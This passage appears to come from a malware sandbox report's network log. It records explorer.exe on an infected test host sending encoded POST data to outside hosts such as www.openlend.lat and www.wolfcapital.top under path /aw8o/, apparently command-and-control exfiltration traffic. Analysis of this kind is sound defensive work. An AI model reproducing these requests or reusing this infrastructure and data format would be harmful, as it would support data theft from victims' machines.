Aug 29, 2023 22:45:29.172988892 CEST	675	OUT	Data Raw: 4c 33 49 57 54 33 6c 6c 46 44 76 6a 4c 64 6a 50 47 37 44 77 6e 31 45 35 4e 70 6f 67 75 51 76 54 6a 30 30 33 2f 42 4f 7a 42 70 71 72 64 65 42 42 31 32 57 72 30 4e 39 35 4a 6e 64 50 4f 38 79 6a 78 7a 57 74 50 70 35 6f 51 63 71 50 65 62 74 4f 32 61 Data Ascii: L3IWT3llFDvjLdjPG7Dwn1E5NpoguQvTj003/BOzBpqrdeBB12Wr0N95JndPO8yjxzWtPp5oQcqPebtO2aB8guivpKoGiYCjvVjuesvCXxTGC7EPndByH0KEx8/sHfCybf8uvw/W8ssy23oFu2m6akVJTBPPEmqdiyvCuWHbxZYo1bj0EHqCUG+UiPxyfSYEEpycAozfFwzzUbSqgzQqjn3v/wFrx7Oiqj3Tv3DUqBzW7S/ivbJ
Aug 29, 2023 22:45:29.173325062 CEST	680	OUT	Data Raw: 4c 6f 38 6b 33 47 70 75 74 71 6e 54 45 37 70 68 76 43 36 51 72 77 6a 33 47 32 62 75 52 65 53 6b 44 71 2f 32 2f 64 6a 5a 63 47 43 4d 5a 30 69 54 6e 2f 68 77 43 53 47 72 62 51 32 41 65 79 75 51 78 52 45 67 33 4c 47 2f 59 7a 34 34 71 31 51 52 4c 68 Data Ascii: Lo8k3GputqnTE7phvC6Qrwj3G2buReSkDq/2/djZcGCMZ0iTn/hwCSGrbQ2AeyuQxREg3LG/Yz44q1QRLhuF5d77IbHGm6tXBP06oxN8HIqk14NVQblpxEW1E0W1sySq88LZCUTY09K298PqdhgP5vFwrn45Ik2e3nDCvMW9XYDlSkFaFURs7z3A96UKUr2syG/AFOGwKW0lWGoGXlsyhwBM83Omyq79yoFQLtQWdED4t1bzU/8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.11.20	49999	51.79.96.115	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:45:31.699498892 CEST	681	OUT	GET /aw8o/?5Nag0d=1Jf62kTrmMrtvW9nTGcQzL1qxjpfbwlqHSE5+yviuOiwQb8X0elvNWjLUSKlufaHfU8RKiOE6AarqIMWhrvJVzj6gCO1stp4zw==&OxdTJ=brp0GrP84QCc HTTP/1.1 Host: www.wolfcapital.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Aug 29, 2023 22:45:31.794289112 CEST	682	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Tue, 29 Aug 2023 20:45:31 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.11.20	50000	169.150.247.39	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:45:36.842367887 CEST	683	OUT	POST /aw8o/ HTTP/1.1 Host: www.openlend.lat Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.openlend.lat Referer: http://www.openlend.lat/aw8o/ Connection: close Content-Length: 187 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 45 79 6e 56 2f 30 6d 31 68 31 49 7a 43 2b 30 78 44 47 48 61 73 6c 43 32 6c 30 69 2f 6c 46 41 43 77 6b 6d 49 37 74 2b 71 48 7a 51 71 38 5a 62 6f 6d 6b 49 70 4f 4a 74 56 2f 61 69 2f 56 35 38 41 46 4f 38 76 5a 61 59 57 52 56 4d 46 51 77 78 34 38 51 6e 71 66 66 49 56 54 63 51 76 5a 4c 47 59 35 4f 32 53 53 33 5a 78 74 77 4d 44 70 37 63 67 4e 71 47 32 76 6d 75 43 49 47 6c 2f 69 67 70 59 2f 2b 6e 6d 50 49 48 76 54 54 49 50 49 4e 6f 37 44 65 69 74 71 39 79 2b 2b 39 77 64 69 6a 41 31 4f 59 69 31 49 2f 61 5a 42 6a 73 38 7a 6e 64 36 71 51 3d 3d Data Ascii: 5Nag0d=EynV/0m1h1IzC+0xDGHaslC2l0i/lFACwkmI7t+qHzQq8ZbomkIpOJtV/ai/V58AFO8vZaYWRVMFQwx48QnqffIVTcQvZLGY5O2SS3ZxtwMDp7cgNqG2vmuCIGl/igpY/+nmPIHvTTIPINo7Deitq9y++9wdijA1OYi1I/aZBjs8znd6qQ==
Aug 29, 2023 22:45:37.028433084 CEST	684	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 29 Aug 2023 20:45:37 GMT Content-Type: text/html Content-Length: 162 Connection: close Server: BunnyCDN-DE1-1082 CDN-PullZone: 1536508 CDN-Uid: 604b1f1d-7233-45b4-b382-b287d2fc47e3 CDN-RequestCountryCode: CH Cache-Control: no-cache Location: https://www.openlend.lat/aw8o/ CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 301 CDN-CachedAt: 08/29/2023 20:45:37 CDN-EdgeStorageId: 1082 CDN-RequestId: e4df92dd405105187f75d488a4fc86dd
Aug 29, 2023 22:45:37.028497934 CEST	684	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.11.20	50001	169.150.247.39	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:45:39.379005909 CEST	685	OUT	POST /aw8o/ HTTP/1.1 Host: www.openlend.lat Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.openlend.lat Referer: http://www.openlend.lat/aw8o/ Connection: close Content-Length: 527 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 45 79 6e 56 2f 30 6d 31 68 31 49 7a 41 62 38 78 46 6c 76 61 38 31 43 31 67 30 69 2f 73 6c 42 4a 77 6b 61 49 37 73 36 36 48 6d 34 71 38 38 66 6f 33 56 49 70 4c 4a 74 56 31 36 69 36 62 5a 38 65 46 50 41 5a 5a 66 34 57 52 56 49 46 51 44 70 34 34 51 6e 70 55 2f 49 55 45 73 51 71 64 4c 47 43 35 4f 7a 78 53 32 4e 78 74 41 77 44 71 35 45 67 65 50 79 31 38 32 75 45 63 32 6c 38 74 41 70 57 2f 2b 71 47 50 4d 43 59 54 68 55 50 49 70 6b 37 43 65 69 69 6b 4e 79 7a 32 64 78 61 78 79 41 37 41 4c 79 52 58 64 79 32 45 53 4e 69 79 30 67 56 2b 77 61 39 50 4c 38 38 38 74 4e 6f 2f 39 68 42 6f 45 47 2b 46 66 67 77 74 36 76 7a 4b 67 32 32 62 62 4c 44 73 59 34 4f 7a 41 59 65 59 61 35 5a 61 38 73 53 66 79 51 2b 52 41 46 7a 78 5a 33 50 48 46 4a 4b 55 78 42 30 6d 74 30 50 42 55 56 41 68 45 46 74 33 6b 45 57 50 34 6f 4f 43 48 76 42 56 4a 36 56 6c 36 4e 6b 74 42 66 70 7a 5a 69 4b 4c 4c 4f 2f 58 47 33 62 39 34 6e 6e 41 2b 36 6a 7a 52 56 41 77 32 34 55 5a 72 65 46 2f 37 7a 75 76 67 75 55 6f 33 69 63 77 57 30 74 58 2f 38 6c 33 69 65 77 43 43 45 2f 6f 4c 57 2b 4d 30 4b 48 58 69 70 70 5a 59 37 6a 6a 56 72 43 53 2f 39 31 4a 6b 44 62 53 6d 37 71 34 54 38 79 6b 50 6b 33 43 75 6c 75 64 70 75 4d 4f 4c 4c 45 6d 31 63 76 75 6a 4d 69 4f 4c 33 58 69 6e 51 51 79 6b 66 31 52 73 68 6a 53 6b 31 34 45 4b 37 73 74 4c 62 51 51 32 57 53 69 78 35 6b 4d 65 79 63 61 46 47 64 68 4c 33 42 52 37 31 6c 30 4f 4a 44 55 65 47 4e 67 2b 69 37 48 4b 31 59 33 42 7a 71 6e 6b 61 51 46 6b 4b 6e 53 68 66 72 34 56 53 41 46 51 44 51 76 69 68 56 57 33 4a 57 49 58 33 68 33 2f 79 4a 64 69 68 6c 69 70 4d 3d Data Ascii: 5Nag0d=EynV/0m1h1IzAb8xFlva81C1g0i/slBJwkaI7s66Hm4q88fo3VIpLJtV16i6bZ8eFPAZZf4WRVIFQDp44QnpU/IUEsQqdLGC5OzxS2NxtAwDq5EgePy182uEc2l8tApW/+qGPMCYThUPIpk7CeiikNyz2dxaxyA7ALyRXdy2ESNiy0gV+wa9PL888tNo/9hBoEG+Ffgwt6vzKg22bbLDsY4OzAYeYa5Za8sSfyQ+RAFzxZ3PHFJKUxB0mt0PBUVAhEFt3kEWP4oOCHvBVJ6Vl6NktBfpzZiKLLO/XG3b94nnA+6jzRVAw24UZreF/7zuvguUo3icwW0tX/8l3iewCCE/oLW+M0KHXippZY7jjVrCS/91JkDbSm7q4T8ykPk3CuludpuMOLLEm1cvujMiOL3XinQQykf1RshjSk14EK7stLbQQ2WSix5kMeycaFGdhL3BR71l0OJDUeGNg+i7HK1Y3BzqnkaQFkKnShfr4VSAFQDQvihVW3JWIX3h3/yJdihlipM=
Aug 29, 2023 22:45:39.475594997 CEST	686	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 29 Aug 2023 20:45:39 GMT Content-Type: text/html Content-Length: 162 Connection: close Server: BunnyCDN-DE1-1082 CDN-PullZone: 1536508 CDN-Uid: 604b1f1d-7233-45b4-b382-b287d2fc47e3 CDN-RequestCountryCode: CH Cache-Control: no-cache Location: https://www.openlend.lat/aw8o/ CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 301 CDN-CachedAt: 08/29/2023 20:45:39 CDN-EdgeStorageId: 1082 CDN-RequestId: c022d7ded4a9b9793d1ad6f40218b2c5
Aug 29, 2023 22:45:39.475667000 CEST	686	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.11.20	50002	169.150.247.39	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:45:41.909948111 CEST	699	OUT	POST /aw8o/ HTTP/1.1 Host: www.openlend.lat Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.openlend.lat Referer: http://www.openlend.lat/aw8o/ Connection: close Content-Length: 52915 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 45 79 6e 56 2f 30 6d 31 68 31 49 7a 41 62 38 78 46 6c 76 61 38 31 43 31 67 30 69 2f 73 6c 42 4a 77 6b 61 49 37 73 36 36 48 67 67 71 38 4b 6a 6f 6c 47 51 70 4d 4a 74 56 75 36 69 37 62 5a 39 62 46 50 59 46 5a 66 38 67 52 58 41 46 52 52 42 34 74 7a 50 70 52 2f 49 58 49 4d 51 6f 5a 4c 48 44 35 4f 32 77 53 32 5a 4c 74 77 55 44 70 37 4d 67 63 49 65 32 30 47 75 43 63 32 6c 77 38 51 6f 38 2f 39 47 57 50 4d 4f 59 54 69 67 50 61 4c 73 37 46 4a 32 69 70 39 79 79 38 39 78 6a 6e 43 42 44 41 4c 6d 72 58 64 79 41 45 51 68 69 79 7a 55 56 39 33 32 69 50 72 38 38 2f 74 4e 76 6f 73 64 61 6f 48 7a 37 46 63 38 77 74 38 72 7a 4b 41 32 32 4c 50 58 41 71 34 35 4c 6c 77 59 4e 53 36 6c 42 61 39 4e 31 66 7a 6b 2b 52 77 35 7a 78 71 66 50 41 6b 4a 4b 4c 68 42 32 73 4e 31 56 61 45 56 6d 68 45 30 4f 33 67 34 73 50 2b 45 4f 44 69 37 42 46 36 69 57 31 4b 4e 69 77 78 66 67 34 34 65 57 4c 4c 2b 6a 58 47 32 41 39 38 2f 6e 42 4f 4b 6a 77 55 31 44 78 47 34 54 43 37 65 71 30 62 75 68 76 6a 4c 59 6f 33 61 4d 77 52 55 74 47 76 38 6c 6c 78 47 33 62 69 45 34 31 62 57 67 42 55 4c 52 58 69 6c 50 5a 5a 75 57 67 6c 48 43 51 50 74 31 4d 30 44 61 55 47 37 6d 75 6a 38 30 7a 2f 6b 33 43 75 34 4b 64 70 69 4d 4f 34 58 45 6e 48 30 76 72 30 67 69 4d 4c 33 5a 69 6e 52 57 79 6b 54 57 52 73 6f 41 53 6e 39 65 45 49 33 73 6a 2f 66 51 58 33 57 64 30 78 34 75 49 65 7a 46 55 6c 4b 47 68 4c 72 7a 52 37 6b 65 30 65 31 44 56 65 57 4e 33 75 69 34 58 61 31 66 6e 68 7a 77 6a 6b 47 45 46 6b 47 33 53 68 48 37 34 56 4b 41 47 42 32 4a 7a 69 6f 49 43 6d 5a 70 50 79 76 32 2b 65 75 4b 65 43 68 42 67 50 44 72 49 68 6d 42 77 47 45 39 70 4a 54 31 2b 2b 4f 41 6d 6e 73 76 4a 46 79 48 79 2f 6e 5a 78 37 38 34 63 59 65 30 6d 4d 63 37 4e 77 47 32 77 45 31 46 30 4d 4d 72 7a 48 55 6e 57 44 43 56 43 68 4d 6c 42 2f 76 64 4e 42 4a 54 77 34 4c 48 75 65 42 30 66 45 37 38 6c 77 4d 4d 6d 75 33 77 36 56 6d 54 66 6e 50 52 72 32 61 41 59 48 6b 52 58 38 47 6e 64 6b 65 48 73 75 64 71 33 6f 39 33 6c 57 7a 35 67 48 64 37 43 78 37 4f 59 49 72 69 58 72 39 36 62 73 6b 53 48 35 43 52 67 7a 6f 56 56 67 61 73 4f 73 73 53 54 50 43 54 58 78 6b 6b 73 4c 67 50 67 44 35 2f 5a 71 45 6a 37 32 75 42 39 68 4e 5a 78 74 47 55 33 73 4e 4d 30 32 66 43 53 57 2b 67 70 68 45 7a 49 32 47 65 62 37 30 73 50 4f 45 47 4c 4b 46 74 6d 30 62 67 46 53 39 4c 56 39 37 32 47 32 67 34 77 71 35 7a 73 62 51 77 61 58 69 5a 78 54 62 50 69 65 45 70 52 58 59 46 37 4a 6e 41 38 79 50 5a 53 4f 44 45 37 4c 37 50 30 6c 46 4b 45 38 51 56 34 43 2b 64 36 48 37 2f 38 66 58 2b 73 6e 6e 61 68 76 38 4a 72 38 70 36 71 62 6f 5a 74 43 78 30 34 73 47 76 77 56 32 76 6c 6d 51 64 32 50 32 6f 62 46 71 54 55 4f 32 37 47 64 53 42 44 4f 39 63 66 70 79 54 78 61 57 52 6e 61 4a 41 6e 34 77 70 78 64 69 57 50 61 61 58 4c 42 69 63 39 69 7a 4a 52 6e 48 45 66 56 38 4b 52 42 6d 68 6d 54 57 56 6a 53 79 64 44 32 64 4f 38 72 70 59 62 75 34 2f 5a 55 41 74 47 2b 46 73 77 65 73 30 74 61 76 74 6d 52 4d 48 33 65 72 4c 44 73 6d 61 49 56 35 6d 44 51 66 7a 52 49 6e 72 50 46 76 4e 58 71 73 61 5a 4c 41 32 37 6a 46 33 4b 70 62 48 36 30 59 62 37 69 51 59 6a 5a 4e 32 2b 44 61 4c 72 79 68 50 74 5a 70 6b 76 71 4d 38 61 37 41 78 4f 31 37 7a 59 73 57 6a 62 38 4d 4a 6d 6e 6a 49 70 66 75 76 5a 39 70 66 79 58 68 33 62 50 6a 75 61 4f 61 50 79 50 36 58 4a 68 45 78 2f 77 32 71 55 76 4d 48 6f 79 34 65 73 46 35 6a 53 5a 6c 4a 7a 34 42 37 31 31 7a 43 6b 4b 62 4d 78 59 46 66 6a 70 37 63 2f 2f 75 59 35 54 41 58 35 53 6b 37 57 6d 57 35 45 4a 31 42 42 54 72 49 4c 4f 59 50 48 6a 33 39 41 62 76 76 6a 43 79 50 44 74 62 76 5a 57 2f 6a 6f 67 68 6d 63 64 2f 35 63 74 74 46 2b 74 56 4c 47 6a 6b 39 49 56 77 54 39 39 67 44 75 67 50 76 71 56 73 55 2f 49 6a 79 4d 74 5a 62 64 4a 50 72 53 72 52 79 45 49 46 4f 68 7a 64 53 49 41 4d 6d 6c 68 76 59 6b 77 52 66 7a 31 78 59 48 6b 49 73 4e 71 4d 6d 73 57 51 54 5a 79 49 50 6d 54 6d 69 53 4f 33 43 79 37 4a 4e 33 42 70 6c 4e 6a 6b 67 56 70 64 48 67 69 43 41 53 44 6d 45 75 37 2f 63 56 45 54 4a 62 55 42 6a 6e 6e 46 42 41 44 39 51 65 68 50 50 54 56 74 55 48 2b 4f 32 71 74 46 59 70 56 7a 44 75 45 4c 6c 4a 54 54 6a 51 34 4f 4e 4a 33 44 53 54 69 73 63 35 59 49 78 55 72 71 6c Data Ascii: 5Nag0d=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